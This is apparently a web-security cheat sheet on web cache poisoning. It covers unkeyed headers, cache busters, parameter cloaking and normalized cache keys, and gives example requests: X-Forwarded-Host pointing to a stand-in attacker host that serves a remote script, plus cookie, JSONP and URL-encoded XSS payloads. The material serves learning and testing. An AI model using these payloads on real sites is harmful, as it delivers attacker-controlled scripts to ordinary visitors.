Web cache poisoning

Constructing an attack

  1. Identify unkeyed inputs (e.g. X-Forwarded-Host header)

  2. Trigger a harmful response from the server

  3. Get the response cached

Hint: You can use "Param Miner" Burp Suite extension for automating the process of finding such inputs.


Websites are vulnerable when they:

  • Handle unkeyed input in an unsafe way

  • Allow the subsequent HTTP response to be cached

Unsafe handling of resource imports

If the X-Forwarded-Host header is reflected for resource imports, you can point it to a domain you control and host a malicious file there, using the same path/name as the original one.

X-Forwarded-Host: attacker-site.com


<script type="text/javascript" src="https://attacker-site.com/path/to/script.js"></script>

If the Cookie header is unkeyed and uses a parameter that is reflected on the site, this can be used to inject malicous code.

Cookie: param=value"-alert(1)-"
    data = {

Multiple headers required

Sometimes it is necessary to tamper with more than just one input. E.g. setting X-Forwarded-Scheme header to something different than the default scheme (https) may trigger the usage of X-Forwarded-Host header. Therefore you can just inject a domain that is under your control, to serve a malicious file.

X-Forwarded-Host: attacker-site.com
X-Forwarded-Scheme: 1337

Responses exposing too much information

Response headers, like follows, may reveal a lot of information, how the cache behaves and therefore can save a lot of manual testing.

Cache-Control: max-age=30
Age: 13
X-Cache: hit

The Vary response header may also tell about additional headers used in the caching key.

Vary: User-Agent

Cache implementation flaws


  1. Identify a cache oracle (e.g. http header that reveals cache hits, changes to dynamic content, response times variations)

  2. Probe key handling (look for transformations, e.g. removing port from Host header)

  3. Identify an exploitable gadget (e.g. reflected XSS or open redirects)

Unkeyed port

  • You may be able to construct a DoS attack by specifying an arbitrary port, that is then served to all users, until the cache expires.

  • Using a non-numeric port, you may even be able to serve XSS payloads.

Unkeyed query string

If the query string is not keyed and vulnerable to e.g. reflected XSS, your XSS payload will be served to any user accessing that site, once you poisoned the cache.

Unfortunately, as the query string is unkeyed, it cannot be used as a cache buster.

Gladly, there are alternative cache busters, like:

  1. Common headers, e.g.: Accept-Encoding, Accept, Cookie, Origin (subdomain)

  2. Using discrepancies between backend and cache, e.g. modifiying the path to // (Apache), /%2F (nginx), /index.php/xyz (PHP), /(A(xyz)/ (.NET)

Unkeyed query parameters

Basically the same as "Unkeyed query string", but only part of the query string is unkeyed (e.g. specific parameters, like utm_ analytics/tracking parameters).

Parameter cloaking

Potenial attack surfaces appear, when there are disceprancies between the cache and the application.


  • Poor written parsing algorithms may treat any ? as the start of a new parameter.

  • Ruby on Rails interprets both & and ; as parameter delimiters, but maybe the cache does not.

GET /jsonp?callback=someFunction&utm_content=;callback=alert(1)

Fat GET support

  • Sometimes the HTTP method may not be keyed. Therefore you could poison the cache with a POST request containing a malicious body, which will then also be served for users invoking GET requests.

  • Pretty rare, but sometimes you can also just add a body to a GET request.

Normalized cache keys

When a cache normalizes keyed input, it can lead to exploitable behavior. Ocassionally even to exploits that would otherwise be almost impossible.

Poison the cache with your payload.

GET /<script>alert(1)</script>

Deliver a url encoded version to your victim, which then will be served with the poisened version from the cache.

GET /%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e

Last updated